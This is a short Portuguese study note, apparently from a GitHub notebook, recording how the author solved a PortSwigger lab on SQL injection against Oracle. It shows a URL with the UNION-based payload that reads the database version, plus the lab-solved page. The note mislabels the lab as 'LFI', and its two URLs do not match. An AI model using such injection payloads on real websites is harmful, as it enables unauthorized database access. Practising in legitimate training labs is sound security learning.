



NOTEPAD

SQL INJECTION

[github/danielrodrigues-dv](https://github.com/danielrodrigues-dv)



Resumo

Introdução

O propósito deste documento consiste em registrar todo o processo de aprendizagem. O presente estudo está sendo conduzido em laboratórios controlados, e os recursos estão acessíveis através da plataforma <https://portswigger.net>.

Objetivo

Permitir que o servidor interprete o código inserido na URL

Laboratório

- SSQL injection attack, querying the database type and version on Oracle -> **LFI**

Pré-requisitos

- Navegador.

1.ACESSANDO O LABORATÓRIO


Clique na opção "**Access the lab**":


[Dashboard](#) [Learning path](#) [Latest topics](#) [All labs](#) [Mystery labs](#) [Hall of Fame](#) [Get sta](#)

[Web Security Academy](#) » [SQL injection](#) » [Examining the database](#) » [Lab](#)

Lab: SQL injection attack, querying the database type and version on Oracle


PRACTITIONER

 LAB

 Solved

This lab contains a **SQL injection** vulnerability in the product category filter. You can use a UNION attack to retrieve the results from an injected query.

To solve the lab, display the database version string.

 **Hint**

[Access the lab](#)

2.EXEMPLO DE MANIPULAÇÃO

URL ORIGINAL: `https://0a3e00b504c4bc3982b9accc00cf003d.web-security-academy.net/filter?category=Lifestyle`

Só colocar o `'UNION SELECT BANNER,NULL+FROM v$version--` no final do código.

URL MODIFICADO: `https://0a3d00310329920ec03bd171001c003a.web-security-academy.net/filter?category=Pets'UNION SELECT BANNER,NULL+FROM v$version--`

RESULTADO - máquina resolvida

WebSecurity Academy SQL injection attack, querying the database type and version on Oracle LAB Solved

Back to lab description >>

Congratulations, you solved the lab! Share your skills! Continue learning >>

Home

WE LIKE TO SHOP

Lifestyle

Refine your search:

All Accessories Corporate gifts Gifts Lifestyle Toys & Games